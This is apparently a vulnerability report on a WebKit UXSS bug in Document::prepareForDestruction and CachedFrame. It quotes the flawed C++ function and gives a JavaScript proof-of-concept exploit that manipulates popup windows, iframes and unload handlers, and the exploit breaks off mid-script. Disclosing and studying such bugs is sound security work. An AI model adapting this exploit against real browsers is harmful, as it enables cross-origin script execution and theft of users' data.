void Document::prepareForDestruction() WebKit: UXSS via Document::prepareForDestruction and CachedFrame




Here's a snippet of Document::prepareForDestruction

void Document::prepareForDestruction()
{
if (m_hasPreparedForDestruction)
return;
...
detachFromFrame();

m_hasPreparedForDestruction = true;
}

Document::prepareForDestruction is called on the assumption that the document will not be used again with its frame. However, if a frame caching is made in Document::prepareForDestruction, the document's frame will be stored in a CachedFrame object that will reattach the frame at some point, and thereafter, the document's frame will be never detached due to |m_hasPreparedForDestruction|.


PoC:
<body>
Click anywhere.
<script>
function createURL(data, type = 'text/html') {
return URL.createObjectURL(new Blob([data], {type: type}));
}

function waitFor(check, cb) {
let it = setInterval(() => {
if (check()) {
clearInterval(it);
cb();
}
}, 10);
}

window.onclick = () => {
window.onclick = null;

w = open(createURL(''), '', 'width=500, height=500');
w.onload = () => {
setTimeout(() => {
let f = w.document.body.appendChild(document.createElement('iframe'));
f.contentWindow.onunload = () => {
f.contentWindow.onunload = null;

w.__defineGetter__('navigator', () => new Object());

let a = w.document.createElement('a');
a.href = 'about:blank';
